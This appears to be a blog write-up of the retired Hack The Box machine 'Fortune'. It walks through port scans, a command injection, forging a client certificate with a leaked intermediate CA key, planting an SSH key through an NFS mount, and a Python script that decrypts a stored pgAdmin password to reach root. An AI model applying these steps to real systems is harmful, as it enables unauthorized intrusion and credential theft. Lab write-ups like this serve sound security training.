Fortune is a retired vulnerable VM from Hack The Box.
Let’s start with a
masscan probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.127 --rate=700 Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-03-11 00:47:55 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.127 Discovered open port 22/tcp on 10.10.10.127 Discovered open port 443/tcp on 10.10.10.127
masscan finds the three open ports. Let’s do one better with
nmap scanning the discovered ports.
# nmap -n -v -Pn -p22,80,443 -A --reason -oN nmap.txt 10.10.10.127 ... PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9 (protocol 2.0) | ssh-hostkey: | 2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA) | 256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA) |_ 256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519) 80/tcp open http syn-ack ttl 63 OpenBSD httpd | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: OpenBSD httpd |_http-title: Fortune 443/tcp open ssl/https? syn-ack ttl 63 |_ssl-date: TLS randomness does not represent time
Feels good to be back in the Unix/Linux environment again. Let’s start with the
http service. This is how it looks like.
Let’s select the
recipes database and submit it. I got Burp switched on to capture the POST request.
The POST request is simple enough. What if we replicate this behavior with
wfuzz and a bunch of weird characters?
I think we got command injection in our hands!
Client-side SSL Certificate
I was very eager to run a reverse shell back but it seems the firewall is blocking outbound communications. During enumeration of the SSH configuration, I noticed the following.
Match User nfsuser AuthorizedKeysFile none AuthorizedKeysCommand /usr/local/bin/psql -Aqt -c "SELECT key from authorized_keys where uid = '%u';" authpf appsrv AuthorizedKeysCommandUser _sshauth
It seems like
authpf is installed. According to the FAQ,
The authpf(8) utility is a user shell for authenticating gateways. An authenticating gateway is just like a regular network gateway (also known as a router) except that users must first authenticate themselves to it before their traffic is allowed to pass through.
Somewhere further down the enumeration road, I also noticed the following listening ports but they didn’t appear in the port scan.
Putting on my investigator’s hat, I soon discovered the following
A few more pieces of the puzzle tell me that everything points towards getting a client-side certificate signed:
- The SSH key-pair generation code is at
- The intermediate CA’s certificate and key is present at
/homedirectory is exported via NFS.
SSH key-pair generation and insertion into the database
/home directory exported via NFS
I made the initial mistake of thinking that I could insert my own public key (that I control) into the
authpf database, and wasted precious time. All because I saw this.
appsrv can select, insert and update on
authpf. Well, for consolation,
bob can view the table
authorized_keys without password. At least, I can tell if the generated public key and my IP address got inserted into the table or not.
Back to the main topic of accessing
https://fortune.htb/generate, I need to generate a Certificate Signing Request (or CSR). Well, I can easily copy the Intermediate CA’s certificate and private key from Burp.
Generate my private key and CSR with OpenSSL
# openssl genrsa -out me.key # openssl req -new -key me.key -out me.csr
It doesn’t matter what values I use for the CSR as long as I have the Intermediate CA vouching for my trust-worthiness with its certificate and key.
Generate client certificate and signed by Intermediate CA
# openssl x509 -req -in me.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out me.pem
I also need to combine my private key and my certificate to PKCS#12 format because that’s what Firefox accepts without questioning.
# openssl pcks12 -export -out me.p12 -in me.pem -inkey me.key
Let’s import my certificate into Firefox!
Time to generate SSH key-pair for
Copy-and-paste the key-pair to
nfuser.pub respectively and SSH-in to open the gateway.
Here’s a new round of
nmap scan results.
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9 (protocol 2.0) | ssh-hostkey: | 2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA) | 256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA) |_ 256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519) 80/tcp open http syn-ack ttl 63 OpenBSD httpd | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: OpenBSD httpd |_http-title: Fortune 111/tcp open rpcbind syn-ack ttl 63 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100003 2,3 2049/tcp nfs | 100003 2,3 2049/udp nfs | 100005 1,3 756/udp mountd |_ 100005 1,3 1012/tcp mountd 443/tcp open ssl/https? syn-ack ttl 63 |_ssl-date: TLS randomness does not represent time 1012/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005) 2049/tcp open nfs syn-ack ttl 63 2-3 (RPC #100003) 8081/tcp open http syn-ack ttl 63 OpenBSD httpd | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: OpenBSD httpd |_http-title: pgadmin4
Since we can mount
/home as anyone, let’s mount it as
charlie so that we can copy SSH public key we control (finally…) to
And bam…we have a shell.
user.txt is at the home directory of
During enumeration of
charlie’s account, I notice
bob has sent
charlie an email.
It clearly stated that
bob has set the
dba’s password to
root’s password. Seeing that drove me to hunt for
Long story short. The
dba’s password to the PostgreSQL database is kept in a SQLite3 database located at
If you look at this code, you’ll see that the decryption key is from the
user.password, which can also be found in the SQLite3 database,
The decrypt function is pretty simple.
def decrypt(ciphertext, key): """ Decrypt the AES encrypted string. Parameters: ciphertext -- Encrypted string with AES method. key -- key to decrypt the encrypted string. """ ciphertext = base64.b64decode(ciphertext) iv = ciphertext\[:iv_size\] cipher = Cipher(AES(pad(key)), CFB8(iv), default_backend()) decryptor = cipher.decryptor() return decryptor.update(ciphertext\[iv_size:\]) + decryptor.finalize() def pad(key): """Add padding to the key.""" if isinstance(key, six.text_type): key = key.encode() # Key must be maximum 32 bytes long, so take first 32 bytes key = key\[:32\] # If key size is 16, 24 or 32 bytes then padding is not required if len(key) in (16, 24, 32): return key # Add padding to make key 32 bytes long return key.ljust(32, padding_string)
The parameters are all in
Grab a copy of
crypto.py from pgAdmin’s GitHub repository and append the following code to it.
encpass = 'utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz' bob = '$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg' charlie = '$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ' print decrypt(encpass, bob) print decrypt(encpass, charlie)
I knew it.
bob is the careless one. Armed with
root’s password, we can
su to gain a
root shell and grab that